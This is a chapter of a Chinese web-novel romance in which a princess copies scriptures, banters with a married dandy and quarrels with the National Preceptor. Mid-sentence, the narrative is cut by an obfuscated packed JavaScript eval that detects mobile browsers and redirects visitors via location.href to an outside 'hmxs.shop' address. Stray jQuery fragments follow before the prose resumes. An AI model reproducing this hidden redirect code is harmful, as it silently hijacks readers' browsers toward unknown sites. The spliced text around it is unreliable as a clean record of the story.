5. 第 5 章

作品:《神官难撩

    七日诵经结束,李蘅迎来了新的课业,抄写经书。


    明明与李昊在写字上师出一人,但她年少时写的字与狗啃的差不多,李昊的字总能得到许多人掏心掏肺的称赞,而她的字,看完的人总是屏住呼吸,半天想不到一个合适的词来夸。


    只有母妃看完会沉着一张脸,“昭阳,但凡把你在脸上涂抹的心思多花些在写字上,也不至于写出这样的东西来。”


    李蘅对自己的字很有自知之明,但她一点也不在意,“我又不做官,天天把字写好了做什么?”


    她十七岁以前从未因字丑而产生过自卑心态,或者说,她也从未因任何一件事物对自己产生过片刻的看低。


    直到李昊登基,将一纸婚书赐予她,她在震惊和不甘中握着笔在一页页纸上龙飞凤舞。她没想到,有一天李昊竟有这样绝情的时刻,连面都肯不见。


    她只能给他写信。


    她强压住心中的愤怒,在信中反复诉说自己对这桩婚事的抗拒,每一封信都无一例外被退了回来。


    她坐在鸦青色墨迹挥洒的纸张中间,像个拾荒者一样将那狗啃的字句捡起,第一次觉得自己字的确像母妃说的那样,上不得台面。


    十七岁以后她无意间接触了皮影,拿起了刻刀,也许刻画和写字之间的确有共通之处,随着刀法的精进,写字也竟然沉稳了许多。


    这几日抄写的经文中,有许多她在皇家法会期间早已抄过,她写起来还算得心应手,只是写多了手腕酸痛。


    丫鬟替她拿热帕子敷贴,她打趣道:“本公主手都这样了,你们也不帮着抄几张?”


    丫鬟羞赧,“公主的字这么好看,奴婢的望尘莫及,只怕替您抄写,被神官们察觉。”


    这马屁好歹拍在了李蘅心坎上,她随意推了推那抄好的一摞经文,“走,交作业去。”


    “您亲自去啊?”


    李蘅:“我亲自抄的,亲自去怎么了?”


    似乎也是这么个道理。


    丫鬟抱上一摞经文,跟在盛装的李蘅身后。


    还没走多远,便听见一个男子的声音,“哟呵,昭阳!”


    李蘅听见那句“哟呵”,不用回头都知道是谁。


    国都中一等一的纨绔,李昊的童年伴读,她的最佳损友,贺兰睿。


    贺兰睿几步走上来,扇子一收,敲了敲丫鬟手中的经文,“你抄的?”


    李蘅给了他一个看傻子的眼神。


    贺兰睿不觉自己是傻子,反而觉得自己聪明得厉害。“昭阳,让你抄经你就抄,你什么时候这么听话了?”


    昭阳正想出言回怼,余光瞧到一个绿色的身影,她回过头才发现,贺兰睿今天并不是一个人来的。


    那绿裙的女人体态臃肿,肚子上顶着个硕大的圆弧,在丫鬟的搀扶下走在后面,每一步都显得有些艰难。


    那是贺兰睿去年娶的妻子,名叫沈执兮。


    她在李蘅的一瞥中屈膝行礼,李蘅一动不动抬了抬眼皮。


    贺兰睿摸摸脑袋补充道:“哦,带她来拜拜三官神。说是还愿。”


    她一直听闻贺兰睿与沈执兮关系不太好,但事实总是与想象产生极大分离。成了亲立马怀孕这叫关系不好?怀了孕还一起来钦天宫拜神这叫关系不好?


    若这都不算好,李蘅不知道什么叫做好。


    至少在她的前两段婚姻中,没有出现过诸如此类的时刻。


    李蘅不想破坏人家这含情脉脉、夫唱妇随的温情氛围,识趣地朝前走。贺兰睿却丝毫没有管在后面艰难挪动的沈执兮,屁颠颠跟在李蘅身后嚼舌根,“听说了吗?现在你都上了国都赌坊里的赔付榜了,够不够刺激?”


    李蘅顿住脚步,“什么意思?”


    贺兰睿甩开扇子摇,“你在这钦天宫可真够闭目塞听啊,连这个都不知道?”


    李蘅:“你说不说?”


    见她蹙眉,贺兰睿赶紧倒豆子一般把自己在赌坊里的见闻讲给李蘅听,无非就是那些赌鬼,猜测李蘅的下一任联姻对象,并将此摆上赌桌。这在朝堂之中,也是热门的话题。


    说完李蘅的脸色愈发难看,他还无知无觉。


    在一旁的丫鬟几次想要使眼色打断这贺家公子的发言,都没有找到合适的时机。


    说完他得意一笑,“你说,谁这么无聊,都敢打趣公主的下一任驸马了?”


    李蘅觉得自己这时候不应该与这傻子多言,影响心情,但她还是忍不住好奇:“榜上有哪些人?”


    “严尚书家老二严渡,沈国公家老六沈庆弥,还有谁来着……啊,记不太清了,不过我觉得这些人都不行。”


    “为什么?”李蘅不知道他哪里来的勇气批判那些公子哥。


    贺兰睿不以为意地思考,“我个人以为,比起他们,我更适合你,要不,你考虑考虑我?”


    李蘅给他一记眼刀,如果她没记错,他那大着肚子、步履蹒跚的新进门妻子正在后面走着,他却恬不知耻在这里对她说什么“考虑考虑他”。若不是认识他太久,听得出他开玩笑之意,她可能已经令人掌嘴了。要打得他找不到北的程度。


    贺兰睿脸皮筑得比城墙还高,他状若真诚地说道:“好歹我们认识得久,大家都互相了解,这也是我的优势嘛。”


    李蘅看了一眼还在后面的沈执兮,扯了扯嘴角,“你与我成婚?那后面那位怎么办?”


    “你是公主肯定你最大,反正都是联姻,我跟你跟她都差不多。”


    李蘅没见过这么标新立异的求亲,她只觉得好笑,一边忍住令人掌嘴的冲动,一边努力维持自己在外的威仪,但最终没忍住抖了抖肩膀,将那一阵笑意憋回去。


    “那我真是谢谢你了。”


    她点了香对着三官神拜了拜。


    眼看着李蘅难得露出笑容,贺兰睿本还想说点什么烘托烘托这欢乐的气氛,却瞧见神像后那一抹蓝。


    李蘅俯下身子拜神,不知道楚思怀什么时候站在那里的。贺兰睿却及时闭了嘴,嘴里仿佛塞了块抹布,眼睛转了又转,活像个哑巴。


    李蘅抬头便见楚思怀的衣服露出一角,那蓝色拖拽在地,像水中轻盈游走的鱼尾。


    他今日穿着钦天宫神官日常的蓝袍,但由于个子高,身姿挺拔腰背开阔,显得鹤立鸡群、独具风姿。


    李蘅总是能在一众人中,第一时间精准捕捉到他,不费吹灰之力。更何况现在只有他一个人。


    她目不斜视对身后的丫鬟交代,“把经文给国师过个目。”算是交作业。


    刚才口若悬河的贺兰睿不知怎么的,瞬间熄了火,李蘅知道他一直有些畏惧楚思怀,但并不知其中缘由。


    他的畏惧与大夏国的众多百姓不同。那些信徒总是抱着虔诚、崇敬的心态,像瞻仰神像一样瞻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887791|192086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仰楚思怀。


    而贺兰睿明显是怂了。


    他充分扮演一个合格的哑巴,站在一旁像是诚心敬神的样子,手里拿着香,脑袋敲木鱼。


    李蘅对贺兰睿交代,“我先去给国师看经文。”说完跟着楚思怀往后殿走。


    后殿有专门摆放经文的案桌,楚思怀站在桌前,接过丫鬟递上的册子,然后她给丫鬟使了个“退下”的眼神。


    楚思怀随意翻开一页,评价道:“进步很大。”


    李蘅的眼睛不由自主地阖了一下,长长的睫毛在眼窝下投射出一片阴影,“国师对比的是什么时候?”


    楚思怀却没有回答。


    他继续翻看,然后指着一处说:“这里写错了。”


    能抄完就不错了,还挑错?


    李蘅有些不高兴地哼了哼,“人有失手马有失蹄,国师难道能一字不差?错了就错了,大不了改了呗。”


    李蘅拿起案桌上的毛笔,舔了舔墨,在楚思怀指出的那一处伸出笔锋,画了个大大的叉。


    又将所谓的正确的那个字写上去。


    她这些动作颇有些一气呵成的气势,宽大的袖口擦着楚思怀的衣服荡过去,从他手中夺过册子之时,大拇指不经意触到楚思怀的手腕。


    他的皮肤有些凉,像终年不化的积雪。


    她写字之时楚思怀似乎还没来得及后退,她就那么堂而皇之挤到他面前执笔写字。


    等她写完,她转身将册子递到他手中,“这下总算行了吧?”


    明明错的是她,她却拿出了兴师问罪的架势。


    楚思怀没有说什么,只是继续翻着那经文,像个耐心十足的老师。


    待他翻完所有的经文,他放下册子,问:“公主觉得贺兰睿不错?”


    “什么?”李蘅一时不知道他说的是哪方面“不错”,也不知道他此时说这些有什么意思。


    她想,刚才她与贺兰睿的对话他听见了,不知他听了多少?


    他垂目半晌,“他,并不是良配。”


    她又不是第一天才认识贺兰睿,对他了解得比楚思怀清楚得多。但楚思怀站在什么立场说这种话呢?她突然有些感兴趣,“那国师觉得谁才是良配?”


    “大夏才子无数,公主有许多好的选择。”


    李蘅把眼刀捡起来,狠狠扔出去,“我在你眼中就是这般缺男人吗?我上赶着随便找个人嫁出去,你才觉得那是正途?”


    她丝毫没有意识到自己说这些的时候,眼睛隐隐有些红。她别过头不看他,半天才说,“在你们眼中,我的确三嫁不愁。人人都可以打趣我、污蔑我,拿我当做饭后消遣。国师大人,你也是这般认为的吧?”


    “我从未这般想过。”


    “不用解释,没意思。”李蘅觉得自己似乎又一不小心走进了死胡同,她跟楚思怀置气有什么用呢?


    难道对他发脾气,人生就能重来?


    再来一次,也不会有其他选择。


    她袖子一拂,不小心将一册经文拽到地上。她就势将脚尖抬起,金丝绣鞋踩在那暗黄色的封皮上。


    泄愤一般,她提起脚踩了那册子两脚,恨不得将它踩到十八层地狱。


    然后她红着眼,像个落水鬼一般,殷红的嘴唇动了动,像是打量一个坐化的神像,从上到下打量楚思怀。


    “嫁给谁,都比嫁给国师强吧。”